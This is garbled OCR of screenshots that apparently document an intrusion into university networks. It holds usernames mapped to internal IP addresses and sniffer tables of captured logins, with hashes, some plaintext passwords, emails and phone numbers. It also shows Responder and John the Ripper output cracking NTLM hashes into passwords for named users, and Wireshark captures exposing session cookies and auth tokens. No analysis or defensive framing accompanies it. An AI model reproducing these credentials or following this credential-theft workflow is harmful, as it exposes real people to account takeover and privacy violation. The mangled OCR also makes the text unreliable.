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Mp-rastegar 172.16.9.102
Aref.p 172.16.8.93
Erfani-2 172.16.8.223
archeh 172.16.8.160
m.hosseine 172.16.8.2
H.nemati 172.16.8.167
Ma-fmosavi 172.16.8.23
diba 172.16.8.255
goshayesh 172.16.8.48
Ma-bakhshi 172.16.8.113




garshasbi 172.16.9.139
allahdadi 172.16.8.99
Me-moghimi 172.16.8.108
Me-mehranejad 172.16.9.40
De-soleimani 172.16.8.147
f.moosavi 172.16.9.95
a.rostami 172.16.8.243
H.karari 172.16.8.202
Kt-taheri2 172.16.9.52
m.masoudi 172.16.9.17
m.yaghooti 172.16.9.51
6gzn3 172.16.8.33
a.pourhasan 172.16.8.14
m.fani 172.16.8.136
En-asatid 172.16.9.38
Ma-marzini 172.16.8.195
m.aghdam 172.16.8.250
molaei 172.16.9.143
v.afshar 172.16.8.138
Sm.rohani 172.16.8.124
Mb.hoseinzade 172.16.8.196
m.mirjalili 172.16.8.29
zavarey 172.16.8.123
Ab.rostami 172.16.8.183
4tabatabai 172.16.9.62
Del-karimi 172.16.8.203
Df-mghane 172.16.9.150
De-asgari 172.16.8.133
matin 172.16.8.92
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el 00l 5yls FYVF sicie; 5 AF-FOFYAY (08

Mﬁ;‘ﬂ Sniffer I@f’ Cracker |ﬁ Traceroute IM CCDhU Ika']] Wireless |$) Query |

# | Timestamp | HTTP server | Client | Username | Password URL [
20/08/2018 - 18:13:51 1721631 17216.2.21 9131013 2186edld3725...  http://intisu.ac.ir/login |_
20/08/2018 - 18:13:30 1721631 172168.2.21 9131013 Tc3dbabf4e27...  http://intisu.ac.ir/login
20/08/2018 - 17:46:42 1721631 172161161 9131013 3d056acd0cdB...  http:/fintisu.ac.ir/login?dst= http3a3A%2F %2 Fwwy
20/08/2018 - 17:46:40 1721631 172161161 9131013 3d056acd0c98...  http://intisu.ac.ir/login?dst= http %3 A%2F %62 Fuwy
20/08/2018 - 17:46:38 1721631 172161161 9131013 3d056acd0cd8...  http://intisu.ac.ir/login?dst=httpe3A%2F %a2Fwwy
20/08/2018 - 17:46:37 1721631 17216.1.161 9131013 3d056acddc98...  http://intisu.ac.ir/login?dst= http2a3A%2F %2 Fwwy

£ | 20/08/2018 - 17:46:37 1721631 17216.1.161 9131013 3d056acd0c98...  http://intisu.ac.ir/login?dst= http3a3A%2F %2 Fwwy
20/08/2018 - 17:46:35 1721631 172161161 9131013 3d056acd0c98...  http:/fintisu.ac.ir/logindst= http %3 A%2F %62 Fuwy
20/08/2018 - 17:46:35 1721631 172.16.1.161 0121013 3d056acd0c98...  http://intisu.ac.ir/login?dst= http 23 A%2F %a2Fwwy
;//edu.gaemiau.ac.ir/login.aspx
21/08/2018 - 14:31:38 217.219168163  172.16.8.2 940454281 4714 http://edu.qaemiau.ac.ir/login.aspx
21/08/2018 - 14:18:49 170.16.0.1 17216.9.170 048848 checcBfd2c6203..  http:/fintisuacir/login
21/08/2018 - 14:18:48 170.16.0.1 172169170 045848 checBfd2c6203..  http:/fintisuac.ir/login

| 21/08/2018 - 14:36:11 1721616093 17216.8.72 CWRzeATTM...  dBHIBXDnxge... http://sajed.isu.ac.ir/SubSystem/Edari/PRelate/Site
25/08/2018 - 20:33:48 17216842 172.16.831 KAVOSH 17216842
25/08/2018 - 19:55:54 17216842 17216831 KAVOSH 17216842
25/08/2018 - 19:55:53 17216842 17216831 KAVOSH 17216842
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Al b Sl e 4y aeluw bl cis Olgie 58,08 redl s yiwd Coluwg yo manafi e .ol acl

Al S (Ml (550, pae) dilols 553 (il otal jslaian g olKiiils

= | R 'Ge T DED EEN RS I D T PE | WP Y | HL

@ Sniffer I@‘7 Cracker |ﬁ Traceroute |!m CCcou Iﬁﬁn Wireless |%j Query |

Timestamp | HTTP server | Client | Username | Passwaord URL o
25/08/2018 - 14:16:54 17016.01 17216.9.88 m.teymaourian 430fed@f27926...  hitp://intisu.acir/login

21/08/2018 - 14:27:10 17016.0.1 17216851 m.yaghooti 1fabel50ebeea.. http:/fintisu.ac.ir/login?

20/08/2018 - 17:39:10 1721631 17216049 ma.fekri 4536b%9ceasBd.. httpy//intisuacir/login?

20/08/2018 - 17:39:07 1721631 172.16.0.49 ma.fekri 4536b8cea3fd..  hittp/fintisu.ac.ir/login?

20/08/2018 - 17:39:05 1721631 17216049 ra.fekri 45a6b%cea3dd...  http:/fintisu.ac.ir/login? )
20/08/2018 - 17:39:04 1721631 17216049 ma.fekri 45a6b%cea3fd..  hitp/Sintisu.ac.ir/login? |
20/08/2018 - 17:39:04 1721631 172.16.0.49 ma.fekri 4536b8cea3Bd..  http/fintisu.ac.ir/login?

20/08/2018 - 17:39:04 1721631 17216049 ma.fekri 4536b%9ceasBd.. httpy//intisuacir/login?

21/08/2018 - 14:36:57 17016.0.1 172165128 mahdild b78123a7dd3e..  http:/fintisu.acir/loginfdst=http %3 A%2F%2Fsr2
25/08/2018 - 14:21:15 17216.160.22 172.16.8.156 rmanafi {SHAMIB1Fod... http://172.16160.22/faces/login.jspx
//172.16.160.22/loginRedirect jsp7jhsPreLagin
25/08/2018 - 19:14:47 1721631 17216241 rirlohi c76d8e21550e...  hitp:/fintisu.acir/login?dst=http %3A%2F %2 Fcapt
25/08/2018 - 19:14:47 1721631 17216241 mirlohi c)76d8e21550e... hitp://fintisu.acir/login?dst=http %3A%2F%2F capt
25/08/2018 - 19:14:45 1721631 17216241 rirlohi c76dB8e21550e...  hitp:/fintisu.acir/login?dst=http %3A%2F%2Fcapt
25/08/2018 - 19:14:45 1721631 17216241 rirlohi c)76d8e21550e... hitp://fintisu.acir/loginidst=http %:3A%2F%2Fcapt
25/08/2018 - 19:14:44 1721631 17216241 mirlohi c)76d8e21550e..,  hitp:/fintisu.acir/login?dst=http ¥3A%2F¥2Fcapt
25/08/2018 - 19:14:44 1721631 17216241 rirlohi 076d8e21550e...  http:/fintisu.acir/login?dst=httpSe3A%2F%2Fcapt _
:l:ifno.f'xmo A1 444 1721& Jr‘:r 177318 2 a1 mi.ll.-.l.-.i ANTE AR -1 CEN- L i.."l.—u—.in'.’A.—J—_L-.HnC‘.‘3H°.-"JI:°."JI:.——.;—.+
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col g e (del-karimi) 172.16.8.203 ,,L_ S AV/O/N: as sa w59, VFV Y el w0 jo

40 OOYATFAVYA joe 50, 90 N FLY 6,15 6L L (ol31 olKiils lase S 5 aslel i) automation.iauec.ac.ir

dw O)‘j 03.5 J;l;)lf

B Innrer IIE‘,I LS. I ) I'\“ IrgrerouLe Im L] I i VIS, I AR uery I

Timestarnp HTTP server Client Username I Password I URL

21/08/2018 - 14:18:37 192.168.13.8 172.16.8.81 http://epay.isu.ac.ir/IBSng/user [
21/08/2018 - 14:18:35 192.168.13.8 172.16.8.81 http://epay.isu.ac.ir/IBSng/user

21/08/2018 - 14:18:35 192168138 17216881 http://epay.isu.ac.ir/IB5ng/

25/08/2018 - 14:15:41 217.219168.163 17216.8.2 040454281 4714 http://edu.qaemiau.ac.ir/login.aspx

21/08/2018 - 14:31:38 217.219168.163 17216.8.2 040454281 4714 http://edu.qaemiau.ac.ir/login.aspx

21/08/2018 - 14:18:45 195201167187 17216881 httpe/fdownloadod.info,%DE %AF D8 AT %D9%E
21/08/2018 - 14:18:32 195201167187 17216881 http://downloadod.info,/ %08 %AF %DE %AT %09 %8
//automation.jauec.ac.ir/login.aspx
21/08/2018 - 14:20:31 192.168.17.3 17216531 rnodir MNDMyMQ== http:/192.168 17.3/cgi-bin/login.htmI 71534845064
25/08/2018 - 14:21:14 172.16.160.22 172.16.8156 rmanafi 1384 http://172.16.160.22/loginRedirect,jspTjhsPrelLogin
25/08/2018 - 14:21:15 172.16.160.22 172.16.8156 rnanafi {SHAYWIB1Fod... hitp:/7172.16160.22/faces/login jspx

21/08/2018 - 14:18:50 192.168.13.8 172168381 Epay.isu.ac.ir

21/08/2018 - 14:18:36 192.168.13.8 172168381 Epay.isu.ac.ir

21/08/2018 - 14:32:39 192.168.17.3 17216531 rnodir 4321 192.168.17.3:80

21/08/2018 - 14:32:39 192.168.17.3 17216531 rnodir 4321 192.168.17.3:80

21/08/2018 - 14:32:39 192.168.17.3 17216831 rnodir 4321 192.168.17.3:80

21/08/2018 - 14:32:39 192.168.17.3 17216831 rnodir 4321 192.168.17.3:80

11 il'ﬂ'D-l"]FH'D 14,2730 A0 180 ‘:r;l‘J e B =~ = | .--.-.lli- A2 A0TAEE 17 30N -

A L (oo alel alel)DOFNYY.YYY ool 0 WY NFAND oIS VIS aids 55, VF:VFie o 5 VEAFA caelis o

- rozrangi313@gmail.com 4 - AV YA\YVAA - rozrangi@gmail.com sl » ;3¢ 3 o, — 52,LS

el 005 3y + AV VAL - TES

mark Iﬂ‘ﬂ Sniffer I@f Cracker Iﬁ Traceroute IM CCcou I[(,i'f] Wireless I%}; Query |
-

o Timestamp I HTTF server I Client I Username I Password URL -
25/08/2018 - 19:50:28 17216842 17216831 KAVOSH 17216542
25/08/2018 - 19:50:28 17216842 17216.8.31 KAWVOSH 17216842
25/08/2018 - 19:50:28 17216842 17216831 KAVOSH 17216542
25/08/2018 - 19:50:27 17216842 17216.8.31 KAWVOSH 17216842
25/08/2018 - 19:50:27 17216842 17216.8.31 KAVOSH 17216842
25/08/2018 - 19:50:27 17216842 17216.8.31 KAWVOSH 17216842
£ | 25/08/2018 - 19:50:27 17216842 17216.8.31 KAVOSH 17216842
25/08/2018 - 19:50:27 17216842 172168.31 KAWVOSH 17216842
25/08/2018 - 19:50:27 17216842 17216.8.31 KAVOSH 17216842
25/08/2018 - 19:50:27 17216842 172168.31 KAWVOSH 17216842
25/08/2018 - 19:50:27 17216842 17216831 KAVOSH 17216842
25/08/2018 - 19:50:26 17216842 17216.8.31 KAVOSH 17216842
25/08/2018 - 19:50:23 17216842 17216831 KAVOSH 17216842
| 25/08/2018 - 19:50:22 17216842 17216.8.31 KAVOSH 17216842

e 25/08/2018 - 16:18:38 5.56.132.233 17216815 rezrangi@gmail.com 09119817188
] 556132233  |17216815  |romangi@gmailcom |  |oouosizies 00000000 gy
25/08/2018 - 16:16:30 _[556132233 17216815 |rozrangi3l3@gmail.com [ 00118500346  |m
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ﬂ‘ﬂ Sniffer |(§f Cracker |@ Traceroute |M CCDU |[(,!}'J] Wireless |a) Query |

Timestamp | HTTP server | Client | Username Password URL

21/08/2018 - 14:26:20 192.168.17.3 172.16.9.248 modir 4321 192.16817.3
21/08/2018 - 14:26:18 192.168.17.3 172.16.9.248 rnodir 4321 192.16817.3
21/08/2018 - 14:26:16 19216817.3 17216.9.248 madir 4321 192.16817.3
21/08/2018 - 14:26:16 192.168.17.3 172.16.9.248 rmodir 4321 192.16817.3
21/08/2018 - 14:26:15 192.16817.3 172.16.9.248 modir 4321 192.16817.3
21/08/2018 - 14:26:11 192.168.17.3 172.16.9.248 modir 4321 192.16817.3
21/08/2018 - 14:26:10 192.168.17.3 172.16.9.248 rnodir 4321 192.16817.3
21/08/2018 - 14:26:09 19216817.3 17216.9.248 madir 4321 192.16817.3
21/08/2018 - 14:26:09 192.168.17.3 172.16.9.248 rmodir 4321 192.16817.3
21/08/2018 - 14:26:07 192.16817.3 172.16.9.248 modir 4321 192.16817.3
21/08/2018 - 14:26:06 192.168.17.2 172.16.9.248 rmodir 4321 192.16817.3
21/08/2018 - 14:26:06 192.168.17.3 172.16.9.248 rnodir 4321 19216817.3
21/08/2018 - 14:26:04 19216817.3 17216.9.248 madir 4321 192.16817.3
21/08/2018 - 14:26:04 192.16817.3 172.16.9.248 rmodir 4321 192.16817.3
21/08/2018 - 14:26:01 192.168.17.3 172.16.9.248 modir 4321 192.16817.3
21/08/2018 - 14:26:00 192.168.17.2 172.16.9.248 rmodir 4321 192.16817.3
21/08/2018 - 14:25:58 192.168.17.3 172.16.9.248 rnodir 4321 19216817.3
21/08/2018 - 14:25:57 19216817.3 17216.9.248 madir 4321 192.16817.3
21/08/2018 - 14:25:56 192.16817.3 172.16.9.248 rmodir 4321 192.16817.3
21/08/2018 - 14:25:54 192.168.17.3 172.16.9.248 modir 4321 192.16817.3
21/08/2018 - 14:25:52 192.168.17.2 172.16.9.248 rmodir 4321 192.16817.3
21/08/2018 - 14:25:52 192.168.17.3 172.16.9.248 rnodir 4321 19216817.3
21/08/2018 - 14:25:48 19216817.3 17216.9.248 madir 4321 192.16817.3
21/08/2018 - 14:25:46 192.16817.3 172.16.9.248 rmodir 4321 192.16817.3
21/08/2018 - 14:25:46 192.168.17.3 172.16.9.248 modir 4321 192.16817.3
21/08/2018 - 14:25:46 192.168.17.3 172.16.9.248 rnodir 4321 19216817.3
21/08/2018 - 14:25:43 192.16817.3 17216.9.248 madir 4321 192.16817.3
21/08/2018 - 14:25:43 192.168.17.3 172.16.9.248 rmodir 4321 192.16817.3
21/08/2018 - 14:25:42 192.168.17.3 172.16.9.248 rmodir 4321 192.16817.3
21/08/2018 - 14:25:39 192.168.17.3 172.16.9.248 modir 4321 192.16817.3
21/08/2018 - 14:25:39 192.168.17.3 172.16.9.248 rnodir 4321 19216817.3

ool 4 295 9«65 o) g
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(@) Event notification
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root@Kkali: /usr/share/responder/logs e ® O

File Edit View Search Terminal Help

-rw-r--r-- 1 root root 17748 Aug 26 16:06 Responder-Session.log
‘'responder/Logs# nano HTTP-NTLMv1-172.16.8.82.txt
/responder/logs# john HTTP-NTLMv1-172.16.8.82.txt

Warning: detected hash type "netntlm”, but the string is also recognized as "ne

tntlm-naive”

Use the "--format=netntlm-naive"” option to force loading these as that type ins

tead

Using default input encoding: UTF-8

Rules/masks using IS0-8859-1

Loaded 7 password hashes with 6 different salts (netntlm, NTLMvl C/R [MD4 DES (

ESS MD5) 128/128 AVX 4x3])

Press 'q' or Ctrl-C to abort, almost any other key for status

15141514 (r.tavakoli)

15141514 (r.tavakotl)

15141514 (r.tavakoli)

15141514 (r.tavakoli)

15141514 (r.tavakoli)

15141514 (r.tavakoli)

15141514 (r.tavakoli)

79 D:00:00:16' DONE 3/3 (2018-08-26 16:18) 0.4206g/s 16085Kp/s 96492Kc/s 112574K

C/s 15184638..15975726

Use the "--show" option to display all of the cracked passwords reliably

Session completed

:/usr/share/responder/logs# I

root@Kkali: /usr/share/responder/logs e ® 0
File Edit View Search Terminal Help

s/ UDI JOMIAQIL T/ 1 C‘-'J[)‘.—'IEL(CI LUIL{D”‘ JUIIII FIL I TNILINIVEAT L7 £ .4V ..0.900. LAL
Using default input encoding: UTF-8
Rules/masks using IS0-8859-1
Loaded 5 password hashes with 4 different salts (netntlmv2, NTLMv2 C/R [MD4 HMA
C-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:03 3/3 0g/s 111799p/s 446613c/s 558267C/s booshOl
Session aborted
:/usr/share/responder/logs# nano HTTP-NTLMv2-172.16.8.33.txt
:/usr/share/responder/logs# john HTTP-NTLMv2-172.16.8.33.txt
Using default input encoding: UTF-8
Rules/masks using IS0-8859-1
Loaded 5 password hashes with 4 different salts (netntlmv2, NTLMv2 C/R [MD4 HMA
C-MD5 32/64])
Press 'a' or Ctrl-C to abort, almost any other key for status
7501 (6gzn3)
/501 {bgzn3)
7501 (6gzn3)
7501 (6gzn3)
7501 (6gzn3)
59 0:00:07:29 DONE 3/3 (2018-08-25 20:25) ©.01112g/s 128533p/s 514050c/s 642562
C/s 7501
Use the "--show" option to display all of the cracked passwords reliably
Session completed
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root root 12338 Aug 26 16:00 Config-Responder.log
root root 695 Aug 25 20:42 HTTP-NTLMv1-172.16.8.130. txt
root root 262 Aug 25 20:42 HTTP-NTLMv1-172.16.8.250.txt
root root 1024 Aug 26 16:09 .HTTP-NTLMv1-172.16.8.250.txt.swp
root root 973 Aug 26 16:04 HTTP-NTLMv1-172.16.8.82.1txt
root root 792 Aug 26 16:03 HTTP-NTLMv1-172.16.9.110.txt
root root 675 Aug 26 16:04 HTTP-NTLMv1-172.16.9.116.txt
root root 1188 Aug 26 16:03 HTTP-NTLMv2-172.16.9.11.txt
-rw-r--r-- 1 root root 1204 Aug 26 16:05
f-TW=1-=1-"~ root root 11634 Aug 26 16:06 Poisoners-Session.log
-rw-r--r-- 1 root root 17748 Aug 26 16:06 Responder-Session.log
: /usr/share/responder/Llogs# john HTTP-NTLMv2-172.16.9.96.txt
Using default input encoding: UTF-8
[ERules/masks using IS0-8859-1
Loaded 2 password hashes with no different salts (netntlmv2, NTLMv2 C/R [MD4 HM
AC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
im012345 (mo.zahedi)
mol12345 (mo.zahed1)
t29 0:00:00:00 DONE 1/3 (2018-08-26 16:16) 20.00g/s 393300p/s 393300c/s 786600C/
iS5 mol2345
lUse the "--show" option to display all of the cracked passwords reliably
Session completed
lare/respond
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Am3e IERE Se=Z78=EDacan
[N [http.cookie [x] | Expression..  +
No. Time Source Destination Protocol  Length Info &
| 1760.. 1511.419437 172.16.9.74 172.16.160.37 HTTP 1198 POST /Services/OfaDocumentService.asmx/CheckMessage HTTP/1.1
© 178@.. 1511.462798  172.16.8.31 172.16.16@.37 HTTP 1149 POST /Services/OfaDocumentService.asmx/CheckMessage HTTP/1.1
f 1702.. 1513.4284537 172.16.9.74 172.16.160.37 HTTP 1198 POST /Services/OfaDocumentService.asmx/CheckMessage HTTP/1.1
| 122 16 2 31 Al kbR Fini] 11 i ice.asmx/CheckMessage HTTP/1.1
782... 172.16.9.74 172.16.160.37 HTTP 1879 GET /Default.aspx HTTP/1.1 || |
i T72.18.5.72 172101005 HTTP 1T ervices cumentervice.asmx/CheckMessage HTTP/1.1 a
i 17@3.. 1515.474791 172.16.8.31 172.16.160.37 HTTP 1149 POST /Services/OfaDocumentService.asmx/CheckMessage HTTP/1.1
I 1783 1516 476723 172 1A R 31 172 18 168 3 HTTB. 1158 POST v nfalocumentSeryice asmye icatinns HITB/1 1 32

Cache-Control: max-age=2\rin
Upgrade-Insecure-Requests: 1\r\n

User-Agent: Mozilla/5.® (Windows NT 18.@; Win64; x64) AppleWsbKit/537.36 (KHTML, like Gecko) Chrome/68.8.3448.186 Safari/S37.36\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\n
Accept-Encoding: gzip, deflatelrin

@ ¥ HTTP Cookie (http.cookie), 506 bytes

|| Packets: 171416 - Displayed: 1185 (0.7%)

|| Profie: Defauit
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|| . DBANON=WLWRM3KMOjthuLqDiPY6-mx-2Si03_yai0zvIwkk 1vAYQuq2Fcq2RjvFAYFLF4cv_yS6sn- N
1DLPiB8hZL0aEHe5juJl1CpDREORbN_EQHenjlY9qdzIAUZIk7RT7Q0X-XvOW7 3Nybx0OMOTFdaa-
oksokGumhCztvd10sPOxvLclY8QFpF0; TestSessionSaver=lvtuom45k3Tk5b55bjbvp045;
__AntiXsrfToken=699fbcb90f90491c8abf32be9ae9f8d3;
.DBAUTH=01014DF18AFD5FOBD608FE4D256D2E6408D608004039006600520071004F0033006A0030006A00620
064002F00320039006500620068006D00480038006300280043004100620066007A0039007700730062003200
74006c005000760043005600590043004800520038007A0063006C003700570069003600710034004C0034002
F0043007300740037004C00340049005800370000012F00FF

Session Information

S (0 35l (5 550 40 SESSION [anol gla digjal 5l oolarwl b 1y sads 5wl Session wledlb! s

Mame | Walue ‘ Domain | Pai Expires / Max-Age | Size | Htt‘ Ho{ Se{ Se
¥ hitp:/fit.isu.ac.ir (4)

.DBANON gm20Z5N3yUzEcY8YF... | itisu.... 1537885612 184 o
__AntiXsrfToken edb7ch2dE14f48e79ef6... |it.isu.... 47 S f
TestSessionSaver Ivtuomd Sk3lkob55bjwp. .. | it.isu. . 40 S S

0101EMETC16620BD6. ..

MName _DBAUTH 01014DF18AFDSFOBDG0BFE4D2 56DZEG40ED&0800403
S0066005200T1004F0033006A0030006A0062006400
Domain it.isu.ac.ir 2F00320035006500620068006D0048003800630028B0
04300410062006600TADD389007TTO0T3I006200320074
Path / 006eC002000760043005600590043004B00520038007
B0063006C0O03T005T70069003600T710034004C003400
Expiration 2F0043007300740037004C003400490058003700000
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